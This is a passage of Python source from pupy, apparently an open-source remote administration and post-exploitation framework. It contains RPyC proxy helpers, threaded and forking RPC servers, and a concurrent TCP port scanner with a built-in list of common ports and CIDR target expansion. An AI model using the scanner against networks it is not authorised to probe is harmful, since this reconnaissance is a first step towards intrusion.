from pupy.network.lib.rpc.lib.colls import WeakValueDict
from pupy.network.lib.compat import callable
from pupy.network.lib.rpc.core.consts import HANDLE_BUFFITER, HANDLE_CALL
from pupy.network.lib.rpc.core.netref import syncreq, asyncreq


def buffiter(obj, chunk = 10, max_chunk = 1000, factor = 2):
    """Buffered iterator - reads the remote iterator in chunks starting with
    *chunk*, multiplying the chunk size by *factor* every time, as an
    exponential-backoff, up to a chunk of *max_chunk* size.

    ``buffiter`` is very useful for tight loops, where you fetch an element
    from the other side with every iterator. Instead of being limited by the
    network's latency after every iteration, ``buffiter`` fetches a "chunk"
    of elements every time, reducing the amount of network I/Os.

    :param obj: An iterable object (supports ``iter()``)
    :param chunk: the initial chunk size
    :param max_chunk: the maximal chunk size
    :param factor: the factor by which to multiply the chunk size after every
                   iterator (up to *max_chunk*). Must be >= 1.

    :returns: an iterator

    Example::

        cursor = db.get_cursor()
        for id, name, dob in buffiter(cursor.select("Id", "Name", "DoB")):
            print id, name, dob
    """
    if factor < 1:
        raise ValueError("factor must be >= 1, got %r" % (factor,))
    it = iter(obj)
    count = chunk
    while True:
        items = syncreq(it, HANDLE_BUFFITER, count)
        count = min(count * factor, max_chunk)
        if not items:
            break
        for elem in items:
            yield elem

def restricted(obj, attrs, wattrs=None):
    """Returns a 'restricted' version of an object, i.e., allowing access only to a subset of its
    attributes. This is useful when returning a "broad" or "dangerous" object, where you don't
    want the other party to have access to all of its attributes.

    .. versionadded:: 3.2

    :param obj: any object
    :param attrs: the set of attributes exposed for reading (``getattr``) or writing (``setattr``).
                  The same set will serve both for reading and writing, unless wattrs is explicitly
                  given.
    :param wattrs: the set of attributes exposed for writing (``setattr``). If ``None``,
                   ``wattrs`` will default to ``attrs``. To disable setting attributes completely,
                   set to an empty tuple ``()``.
    :returns: a restricted view of the object

    Example::

        class MyService(network.lib.rpc.Service):
            def exposed_open(self, filename):
                f = open(filename, "r")
                return network.lib.rpc.restricted(f, {"read", "close"})   # disallow access to `seek` or `write`

    """
    if wattrs is None:
        wattrs = attrs

    class Restricted(object):
        def _rpyc_getattr(self, name):
            if name not in attrs:
                raise AttributeError(name)
            return getattr(obj, name)

        __getattr__ = _rpyc_getattr

        def _rpyc_setattr(self, name, value):
            if name not in wattrs:
                raise AttributeError(name)
            setattr(obj, name, value)

        __setattr__ = _rpyc_setattr

    return Restricted()


class _Async(object):
    """Creates an async proxy wrapper over an existing proxy. Async proxies
    are cached. Invoking an async proxy will return an AsyncResult instead of
    blocking"""

    __slots__ = ("proxy", "__weakref__")

    def __init__(self, proxy):
        self.proxy = proxy

    def __call__(self, *args, **kwargs):
        return asyncreq(self.proxy, HANDLE_CALL, args, tuple(kwargs.items()))

    def __repr__(self):
        return "nowait(%r)" % (self.proxy,)


_async_proxies_cache = WeakValueDict()
def nowait(proxy):
    """
    Returns an asynchronous "version" of the given proxy. Invoking the returned
    proxy will not block; instead it will return an
    :class:`network.lib.rpc.core.async.AsyncResult` object that you can test for completion

    :param proxy: any **callable** RPyC proxy

    :returns: the proxy, wrapped by an asynchronous wrapper

    Example::

        async_sleep = network.lib.rpc.nowait(conn.modules.time.sleep)
        res = async_sleep(5)

    .. _async_note:

    .. note::
       In order to avoid overloading the GC, the returned asynchronous wrapper is
       cached as a weak reference. Therefore, do not use::

           network.lib.rpc.async(foo)(5)

       Always store the returned asynchronous wrapper in a variable, e.g. ::

           a_foo = network.lib.rpc.nowait(foo)
           a_foo(5)

    .. note::
        Furthermore, async requests provide **no guarantee on execution
        order**. In particular, multiple subsequent async requests may be
        executed in reverse order.
    """

    async_call = getattr(proxy, '___async_call__')
    if async_call is not None:
        return async_call

    pid = id(proxy)

    if pid in _async_proxies_cache:
        return _async_proxies_cache[pid]

    if not hasattr(proxy, "____conn__") or not hasattr(proxy, "____oid__"):
        raise TypeError("'proxy' must be a Netref: %r", (proxy,))

    if not callable(proxy):
        raise TypeError(
            "'proxy' must be callable: %r (%s)" % (proxy, type(proxy))
        )

    caller = _Async(proxy)
    _async_proxies_cache[id(caller)] = _async_proxies_cache[pid] = caller

    return caller


nowait.__doc__ = _Async.__doc__


class timed(object):
    """Creates a timed asynchronous proxy. Invoking the timed proxy will
    run in the background and will raise an :class:`network.lib.rpc.core.async.AsyncResultTimeout`
    exception if the computation does not terminate within the given time frame

    :param proxy: any **callable** RPyC proxy
    :param timeout: the maximal number of seconds to allow the operation to run

    :returns: a ``timed`` wrapped proxy

    Example::

        t_sleep = network.lib.rpc.timed(conn.modules.time.sleep, 6) # allow up to 6 seconds
        t_sleep(4) # okay
        t_sleep(8) # will time out and raise AsyncResultTimeout
    """

    __slots__ = ("__weakref__", "proxy", "timeout")

    def __init__(self, proxy, timeout):
        self.proxy = nowait(proxy)
        self.timeout = timeout

    def __call__(self, *args, **kwargs):
        res = self.proxy(*args, **kwargs)
        res.set_expiry(self.timeout)
        return res

    def __repr__(self):
        return "timed(%r, %r)" % (self.proxy.proxy, self.timeout)


class BgServingThread(object):
    """Runs an RPyC server in the background to serve all requests and replies
    that arrive on the given RPyC connection. The thread is started upon the
    the instantiation of the ``BgServingThread`` object; you can use the
    :meth:`stop` method to stop the server thread

    Example::

        conn = network.lib.rpc.connect(...)
        bg_server = BgServingThread(conn)
        ...
        bg_server.stop()

    .. note::
       For a more detailed explanation of asynchronous operation and the role of the
       ``BgServingThread``, see :ref:`tut5`

    """
    # these numbers are magical...
    SERVE_INTERVAL = 0.0
    SLEEP_INTERVAL = 0.1

    def __init__(self, conn, callback=None):
        self._conn = conn
        self._thread = threading.Thread(target = self._bg_server)
        self._thread.setDaemon(True)
        self._active = True
        self._callback = callback
        self._thread.start()

    def __del__(self):
        if self._active:
            self.stop()

    def _bg_server(self):
        try:
            while self._active:
                self._conn.serve(self.SERVE_INTERVAL)
                time.sleep(self.SLEEP_INTERVAL) # to reduce contention
        except Exception:
            if self._active:
                self._active = False
                if self._callback is None:
                    raise
                self._callback()

    def stop(self):
        """stop the server thread. once stopped, it cannot be resumed. you will
        have to create a new BgServingThread object later."""
        assert self._active
        self._active = False
        self._thread.join()
        self._conn = None


================================================
FILE: pupy/network/lib/rpc/utils/server.py
================================================
"""
rpyc plug-in server (threaded or forking)
"""

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import sys
import os
import socket
import time
import threading
import errno
import logging

if sys.version_info.major > 2:
    import queue as Queue
else:
    import Queue

from pupy.network.lib.rpc.core import SocketStream, Channel, Connection
from pupy.network.lib.rpc.lib import safe_import
from pupy.network.lib.compat import poll, get_exc_errno

signal = safe_import("signal")


class AuthenticationError(Exception):
    pass


class Server(object):
    """Base server implementation

    :param service: the :class:`service <service.Service>` to expose
    :param hostname: the host to bind to. Default is IPADDR_ANY, but you may
                     want to restrict it only to ``localhost`` in some setups
    :param ipv6: whether to create an IPv6 or IPv4 socket. The default is IPv4
    :param port: the TCP port to bind to
    :param backlog: the socket's backlog (passed to ``listen()``)
    :param reuse_addr: whether or not to create the socket with the ``SO_REUSEADDR`` option set.
    :param authenticator: the :ref:`api-authenticators` to use. If ``None``, no authentication
                          is performed.
    :param registrar: the :class:`registrar <network.lib.rpc.utils.registry.RegistryClient>` to use.
    :param auto_register: whether or not to register using the *registrar*. By default, the
                          server will attempt to register only if a registrar was explicitly given.
    :param protocol_config: the :data:`configuration dictionary <network.lib.rpc.core.protocol.DEFAULT_CONFIG>`
                            that is passed to the RPyC connection
    :param logger: the ``logger`` to use (of the built-in ``logging`` module). If ``None``, a
                   default logger will be created.
    :param listener_timeout: the timeout of the listener socket; set to ``None`` to disable (e.g.
                             on embedded platforms with limited battery)
    """

    def __init__(self, service, hostname = "", ipv6 = False, port = 0,
            backlog = 10, reuse_addr = True, authenticator = None, registrar = None,
            auto_register = None, protocol_config = {}, logger = None, listener_timeout = 0.5,
            socket_path = None):
        self.active = False
        self._closed = False
        self.service = service
        self.authenticator = authenticator
        self.backlog = backlog
        if auto_register is None:
            self.auto_register = bool(registrar)
        else:
            self.auto_register = auto_register
        self.protocol_config = protocol_config
        self.clients = set()

        if socket_path is not None:
            if hostname != "" or port != 0 or ipv6 is not False:
                raise ValueError("socket_path is mutually exclusive with: hostname, port, ipv6")
            self.listener = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
            self.listener.bind(socket_path)
            # set the self.port to the path as it's used for the registry and logging
            self.host, self.port = "", socket_path
        else:
            if ipv6:
                if hostname == "localhost" and sys.platform != "win32":
                    # on windows, you should bind to localhost even for ipv6
                    hostname = "localhost6"
                self.listener = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            if reuse_addr and sys.platform != "win32":
                # warning: reuseaddr is not what you'd expect on windows!
                # it allows you to bind an already bound port, resulting in "unexpected behavior"
                # (quoting MSDN)
                self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

            self.listener.bind((hostname, port))
            self.listener.settimeout(listener_timeout)

            # hack for IPv6 (the tuple can be longer than 2)
            sockname = self.listener.getsockname()
            self.host, self.port = sockname[0], sockname[1]

        if logger is None:
            logger = logging.getLogger("%s/%s" % (self.service.get_service_name(), self.port))
        self.logger = logger
        if "logger" not in self.protocol_config:
            self.protocol_config["logger"] = self.logger
        self.registrar = registrar

    def close(self):
        """Closes (terminates) the server and all of its clients. If applicable,
        also unregisters from the registry server"""
        if self._closed:
            return
        self._closed = True
        self.active = False
        if self.auto_register:
            try:
                self.registrar.unregister(self.port)
            except Exception:
                self.logger.exception("error unregistering services")
        try:
            self.listener.shutdown(socket.SHUT_RDWR)
        except (EnvironmentError, socket.error):
            pass
        self.listener.close()
        self.logger.info("listener closed")
        for c in set(self.clients):
            try:
                c.shutdown(socket.SHUT_RDWR)
            except Exception:
                pass
            c.close()
        self.clients.clear()

    def fileno(self):
        """returns the listener socket's file descriptor"""
        return self.listener.fileno()

    def accept(self):
        """accepts an incoming socket connection (blocking)"""
        while self.active:
            try:
                sock, addrinfo = self.listener.accept()
            except socket.timeout:
                pass
            except socket.error:
                ex = sys.exc_info()[1]
                if get_exc_errno(ex) in (errno.EINTR, errno.EAGAIN):
                    pass
                else:
                    raise EOFError()
            else:
                break

        if not self.active:
            return

        sock.setblocking(True)
        self.logger.info("accepted %s with fd %d", addrinfo, sock.fileno())
        self.clients.add(sock)
        self._accept_method(sock)

    def _accept_method(self, sock):
        """this method should start a thread, fork a child process, or
        anything else in order to serve the client. once the mechanism has
        been created, it should invoke _authenticate_and_serve_client with
        `sock` as the argument"""
        raise NotImplementedError

    def _authenticate_and_serve_client(self, sock):
        try:
            if self.authenticator:
                addrinfo = sock.getpeername()
                try:
                    sock2, credentials = self.authenticator(sock)
                except AuthenticationError:
                    self.logger.info("%s failed to authenticate, rejecting connection", addrinfo)
                    return
                else:
                    self.logger.info("%s authenticated successfully", addrinfo)
            else:
                credentials = None
                sock2 = sock
            try:
                self._serve_client(sock2, credentials)
            except Exception:
                self.logger.exception("client connection terminated abruptly")
                raise
        finally:
            try:
                sock.shutdown(socket.SHUT_RDWR)
            except Exception:
                pass
            sock.close()
            self.clients.discard(sock)

    def _serve_client(self, sock, credentials):
        addrinfo = sock.getpeername()
        if credentials:
            self.logger.info("welcome %s (%r)", addrinfo, credentials)
        else:
            self.logger.info("welcome %s", addrinfo)
        try:
            config = dict(self.protocol_config, credentials = credentials,
                endpoints = (sock.getsockname(), addrinfo), logger = self.logger)
            conn = Connection(self.service, Channel(SocketStream(sock)),
                config = config, _lazy = True)
            conn._init_service()
            self._handle_connection(conn)
        finally:
            self.logger.info("goodbye %s", addrinfo)

    def _handle_connection(self, conn):
        """This methoed should implement the server's logic."""
        conn.serve_all()

    def _bg_register(self):
        interval = self.registrar.REREGISTER_INTERVAL
        self.logger.info("started background auto-register thread "
            "(interval = %s)", interval)
        tnext = 0
        try:
            while self.active:
                t = time.time()
                if t >= tnext:
                    did_register = False
                    aliases = self.service.get_service_aliases()
                    try:
                        did_register = self.registrar.register(aliases, self.port, interface = self.host)
                    except Exception:
                        self.logger.exception("error registering services")

                    # If registration worked out, retry to register again after
                    # interval time. Otherwise, try to register soon again.
                    if did_register:
                        tnext = t + interval
                    else:
                        self.logger.info("registering services did not work - retry")

                time.sleep(1)
        finally:
            if not self._closed:
                self.logger.info("background auto-register thread finished")

    def start(self):
        """Starts the server (blocking). Use :meth:`close` to stop"""
        self.listener.listen(self.backlog)
        # On Jython, if binding to port 0, we can get the correct port only
        # once `listen()` was called, see #156:
        if not self.port:
            # Note that for AF_UNIX the following won't work (but we are safe
            # since we already saved the socket_path into self.port):
            self.port = self.listener.getsockname()[1]
        self.logger.info("server started on [%s]:%s", self.host, self.port)
        self.active = True
        if self.auto_register:
            t = threading.Thread(target = self._bg_register)
            t.setDaemon(True)
            t.start()
        try:
            while self.active:
                self.accept()
        except EOFError:
            pass # server closed by another thread
        except KeyboardInterrupt:
            print("")
            self.logger.warn("keyboard interrupt!")
        finally:
            self.logger.info("server has terminated")
            self.close()


class OneShotServer(Server):
    """
    A server that handles a single connection (blockingly), and terminates after that

    Parameters: see :class:`Server`
    """
    def _accept_method(self, sock):
        try:
            self._authenticate_and_serve_client(sock)
        finally:
            self.close()

class ThreadedServer(Server):
    """
    A server that spawns a thread for each connection. Works on any platform
    that supports threads.

    Parameters: see :class:`Server`
    """
    def _accept_method(self, sock):
        t = threading.Thread(target = self._authenticate_and_serve_client, args = (sock,))
        t.setDaemon(True)
        t.start()


class ThreadPoolServer(Server):
    """This server is threaded like the ThreadedServer but reuses threads so that
    recreation is not necessary for each request. The pool of threads has a fixed
    size that can be set with the 'nbThreads' argument. The default size is 20.
    The server dispatches request to threads by batch, that is a given thread may process
    up to request_batch_size requests from the same connection in one go, before it goes to
    the next connection with pending requests. By default, self.request_batch_size
    is set to 10 and it can be overwritten in the constructor arguments.

    Contributed by *@sponce*

    Parameters: see :class:`Server`
    """

    def __init__(self, *args, **kwargs):
        '''Initializes a ThreadPoolServer. In particular, instantiate the thread pool.'''
        # get the number of threads in the pool
        nbthreads = 20
        if 'nbThreads' in kwargs:
            nbthreads = kwargs['nbThreads']
            del kwargs['nbThreads']
        # get the request batch size
        self.request_batch_size = 10
        if 'requestBatchSize' in kwargs:
            self.request_batch_size = kwargs['requestBatchSize']
            del kwargs['requestBatchSize']
        # init the parent
        Server.__init__(self, *args, **kwargs)
        # a queue of connections having something to process
        self._active_connection_queue = Queue.Queue()
        # declare the pool as already active
        self.active = True
        # setup the thread pool for handling requests
        self.workers = []
        for i in range(nbthreads):
            t = threading.Thread(target = self._serve_clients)
            t.setName('Worker%i' % i)
            t.daemon = True
            t.start()
            self.workers.append(t)
        # a polling object to be used be the polling thread
        self.poll_object = poll()
        # a dictionary fd -> connection
        self.fd_to_conn = {}
        # setup a thread for polling inactive connections
        self.polling_thread = threading.Thread(target = self._poll_inactive_clients)
        self.polling_thread.setName('PollingThread')
        self.polling_thread.setDaemon(True)
        self.polling_thread.start()

    def close(self):
        '''closes a ThreadPoolServer. In particular, joins the thread pool.'''
        # close parent server
        Server.close(self)
        # stop producer thread
        self.polling_thread.join()
        # cleanup thread pool : first fill the pool with None fds so that all threads exit
        # the blocking get on the queue of active connections. Then join the threads
        for _ in range(len(self.workers)):
            self._active_connection_queue.put(None)
        for w in self.workers:
            w.join()

    def _remove_from_inactive_connection(self, fd):
        '''removes a connection from the set of inactive ones'''
        # unregister the connection in the polling object
        try:
            self.poll_object.unregister(fd)
        except KeyError:
            # the connection has already been unregistered
            pass

    def _drop_connection(self, fd):
        '''removes a connection by closing it and removing it from internal structs'''
        conn = None

        # cleanup fd_to_conn dictionnary
        try:
            conn = self.fd_to_conn[fd]
            del self.fd_to_conn[fd]
        except KeyError:
            # the active connection has already been removed
            pass

        # close connection
        self.logger.info("Closing connection for fd %d", fd)
        if conn:
            conn.close()

    def _add_inactive_connection(self, fd):
        '''adds a connection to the set of inactive ones'''
        self.poll_object.register(fd, "reh")

    def _handle_poll_result(self, connlist):
        '''adds a connection to the set of inactive ones'''
        for fd, evt in connlist:
            try:
                # remove connection from the inactive ones
                self._remove_from_inactive_connection(fd)
                # Is it an error ?
                if "e" in evt or "n" in evt or "h" in evt:
                    # it was an error, connection was closed. Do the same on our side
                    self._drop_connection(fd)
                else:
                    # connection has data, let's add it to the active queue
                    self._active_connection_queue.put(fd)
            except KeyError:
                # the connection has already been dropped. Give up
                pass

    def _poll_inactive_clients(self):
        '''Main method run by the polling thread of the thread pool.
        Check whether inactive clients have become active'''
        while self.active:
            try:
                # the actual poll, with a timeout of 0.1s so that we can exit in case
                # we re not active anymore
                active_clients = self.poll_object.poll(0.1)
                # for each client that became active, put them in the active queue
                self._handle_poll_result(active_clients)
            except Exception:
                ex = sys.exc_info()[1]
                # "Caught exception in Worker thread" message
                self.logger.warning("Failed to poll clients, caught exception : %s", str(ex))
                # wait a bit so that we do not loop too fast in case of error
                time.sleep(0.2)

    def _serve_requests(self, fd):
        '''Serves requests from the given connection and puts it back to the appropriate queue'''
        # serve a maximum of RequestBatchSize requests for this connection
        for _ in range(self.request_batch_size):
            try:
                if not self.fd_to_conn[fd].poll(): # note that poll serves the request
                    # we could not find a request, so we put this connection back to the inactive set
                    self._add_inactive_connection(fd)
                    return
            except EOFError:
                # the connection has been closed by the remote end. Close it on our side and return
                self._drop_connection(fd)
                return
            except Exception:
                # put back the connection to active queue in doubt and raise the exception to the upper level
                self._active_connection_queue.put(fd)
                raise
        # we've processed the maximum number of requests. Put back the connection in the active queue
        self._active_connection_queue.put(fd)

    def _serve_clients(self):
        '''Main method run by the processing threads of the thread pool.
        Loops forever, handling requests read from the connections present in the active_queue'''
        while self.active:
            try:
                # note that we do not use a timeout here. This is because the implementation of
                # the timeout version performs badly. So we block forever, and exit by filling
                # the queue with None fds
                fd = self._active_connection_queue.get(True)
                # fd may be None (case where we want to exit the blocking get to close the service)
                if fd:
                    # serve the requests of this connection
                    self._serve_requests(fd)
            except Queue.Empty:
                # we've timed out, let's just retry. We only use the timeout so that this
                # thread can stop even if there is nothing in the queue
                pass
            except Exception:
                # "Caught exception in Worker thread" message
                self.logger.exception("failed to serve client, caught exception")
                # wait a bit so that we do not loop too fast in case of error
                time.sleep(0.2)

    def _authenticate_and_build_connection(self, sock):
        '''Authenticate a client and if it succees, wraps the socket in a connection object.
        Note that this code is cut and paste from the rpyc internals and may have to be
        changed if rpyc evolves'''
        # authenticate
        if self.authenticator:
            h, p = sock.getpeername()
            try:
                sock, credentials = self.authenticator(sock)
            except AuthenticationError:
                self.logger.warning("%s:%s failed to authenticate, rejecting connection", h, p)
                return None
        else:
            credentials = None
        # build a connection
        h, p = sock.getpeername()
        config = dict(self.protocol_config, credentials=credentials, connid="%s:%d"%(h, p),
                      endpoints=(sock.getsockname(), (h, p)))
        return Connection(self.service, Channel(SocketStream(sock)), config=config)

    def _accept_method(self, sock):
        '''Implementation of the accept method : only pushes the work to the internal queue.
        In case the queue is full, raises an AsynResultTimeout error'''
        try:
            # authenticate and build connection object
            conn = self._authenticate_and_build_connection(sock)
            # put the connection in the active queue
            if conn:
                h, p = sock.getpeername()
                fd = conn.fileno()
                self.logger.debug("Created connection to %s:%d with fd %d", h, p, fd)
                self.fd_to_conn[fd] = conn
                self._add_inactive_connection(fd)
                self.clients.clear()
            else:
                self.logger.warning("Failed to authenticate and build connection, closing %s:%d", h, p)
                sock.close()
        except Exception:
            h, p = sock.getpeername()
            self.logger.exception("Failed to serve client for %s:%d, caught exception", h, p)
            sock.close()


class ForkingServer(Server):
    """
    A server that forks a child process for each connection. Available on
    POSIX compatible systems only.

    Parameters: see :class:`Server`
    """

    def __init__(self, *args, **kwargs):
        if not signal:
            raise OSError("ForkingServer not supported on this platform")
        Server.__init__(self, *args, **kwargs)
        # setup sigchld handler
        self._prevhandler = signal.signal(signal.SIGCHLD, self._handle_sigchld)

    def close(self):
        Server.close(self)
        signal.signal(signal.SIGCHLD, self._prevhandler)

    @classmethod
    def _handle_sigchld(cls, signum, unused):
        try:
            while True:
                pid, dummy = os.waitpid(-1, os.WNOHANG)
                if pid <= 0:
                    break
        except OSError:
            pass
        # re-register signal handler (see man signal(2), under Portability)
        signal.signal(signal.SIGCHLD, cls._handle_sigchld)

    def _accept_method(self, sock):
        pid = os.fork()
        if pid == 0:
            # child
            try:
                self.logger.debug("child process created")
                signal.signal(signal.SIGCHLD, self._prevhandler)
                #76: call signal.siginterrupt(False) in forked child
                signal.siginterrupt(signal.SIGCHLD, False)
                self.listener.close()
                self.clients.clear()
                self._authenticate_and_serve_client(sock)
            except:
                self.logger.exception("child process terminated abnormally")
            else:
                self.logger.debug("child process terminated")
            finally:
                self.logger.debug("child terminated")
                os._exit(0)
        else:
            # parent
            sock.close()


================================================
FILE: pupy/network/lib/rpc/version.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
version = (3, 4, 4)
version_string = "3.4.4+"
release_date = "2017.08.07"


================================================
FILE: pupy/network/lib/scan.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('scan', 'scanthread')

import sys
import socket
import select
import errno
import time
import threading
import random

from netaddr import IPNetwork
from pupy.network.lib.rpc import nowait

from . import getLogger
logger = getLogger('scan')

if sys.version_info.major > 2:
    xrange = range

TOP1000 = (
    1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,
    83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,
    179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,
    417,425,427,443,444,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,
    548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,
    705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,
    901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,
    1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,
    1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,
    1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,
    1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,
    1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,
    1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,
    1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,
    1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,
    1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,
    1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,
    1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,
    2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,
    2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,
    2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,
    2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,
    3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,
    3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,
    3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,
    3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,
    4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,
    4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,
    5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,
    5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,
    5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,
    5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,
    6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,
    6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,
    7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,
    7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,
    8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,
    8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,
    9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,
    9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,
    9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,
    10082,10180, 10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,
    12174,12265,12345,13456,13722
)


def create_socket(host, port):
    sock = socket.socket()
    sock.setblocking(0)

    try:
        r = sock.connect_ex((host, int(port)))
    except:
        return None, None

    return sock, r


def scan(hosts, ports, abort=None, timeout=10, portion=32, on_complete=None, on_open_port=None, pass_socket=False):
    connectable=[]
    targets = ((x, y) for x in hosts for y in ports)
    sockets = {}
    while targets or sockets:
        free = portion - len(sockets)
        chunk = []
        while free and targets:
            try:
                chunk.append(next(targets))
                free -= 1
            except StopIteration:
                targets = None
                break

        if abort and abort.is_set():
            break

        for host, port in chunk:
            logger.debug('%s:%d - check', host, port)
            sock, r = create_socket(host, port)
            if sock is None:
                continue

            if r:
                ok = [errno.EAGAIN, errno.EINPROGRESS]
                if hasattr(errno, 'WSAEWOULDBLOCK'):
                    ok.append(errno.WSAEWOULDBLOCK)

                if r in ok:
                    sockets[sock] = (host, port, time.time())
                else:
                    logger.debug('%d - N/A', port)
                    sock.close()
                    continue
            else:
                logger.debug('%s:%d - ok (fast)', host, port)
                if on_open_port:
                    if pass_socket:
                        on_open_port((host, port, sock))
                    else:
                        on_open_port((host, port))

                connectable.append((host, port))
                if not (pass_socket and on_open_port):
                    sock.close()

        if sockets:
            socks = list(sockets)
            _, w, _ = select.select([], socks, [], timeout)

            for sock in w:
                try:
                    errcode = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR)
                    if errcode == 0:
                        host, port = sockets[sock][:2]
                        logger.debug('%s:%d - ok', host, port)
                        if on_open_port:
                            if pass_socket:
                                on_open_port((host, port, sock))
                            else:
                                on_open_port((host, port))

                        connectable.append(sockets[sock][:2])
                except Exception as e:
                    logger.exception('%s:%d - error - %s', host, port, e)
                    pass

                finally:
                    if not (errcode == 0 and on_open_port and pass_socket):
                        sock.close()

                    del sockets[sock]

            now = time.time()
            for sock in socks:
                if sock in w or sock not in sockets:
                    continue

                if now - sockets[sock][2] > timeout:
                    logger.debug(
                        '%s:%d - N/A (timeout)',
                        sockets[sock][0],
                        sockets[sock][1])
                    sock.close()
                    del sockets[sock]

    if on_complete:
        if not abort or (abort and not abort.is_set()):
            on_complete(connectable)
    else:
        return connectable


def safe_scan(hosts, ports, abort=None, timeout=10, portion=32, on_complete=None, on_open_port=None, pass_socket=False, on_exception=None):
    try:
        return scan(
            hosts, ports, abort, timeout, portion,
            on_complete, on_open_port, pass_socket)
    except Exception as e:
        if on_exception:
            on_exception(e)
        elif on_complete:
            on_complete([])


def scanthread(hosts, ports, on_complete, **kwargs):
    abort = threading.Event()
    kwargs.update({
        'abort': abort,
        'on_complete': nowait(on_complete)
    })
    scanner = threading.Thread(target=safe_scan, args=(hosts, ports), kwargs=kwargs)
    scanner.daemon = True
    scanner.start()

    return abort


def scanthread_parse(hosts, ports, on_complete, **kwargs):
    targets = []

    for target in hosts.split(','):
        if '/' in target:
            for host in IPNetwork(target):
                targets.append(str(host))
        else:
            targets.append(str(target))

    ports = list({
        p for prange in ports.split(',') for p in (
            xrange(
                int(prange.split('-')[0]), int(prange.split('-')[1])+1
            ) if '-' in prange else [int(prange)]
        )
    })

    random.shuffle(ports)

    return scanthread(targets, ports, on_complete, **kwargs)


================================================
FILE: pupy/network/lib/servers.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

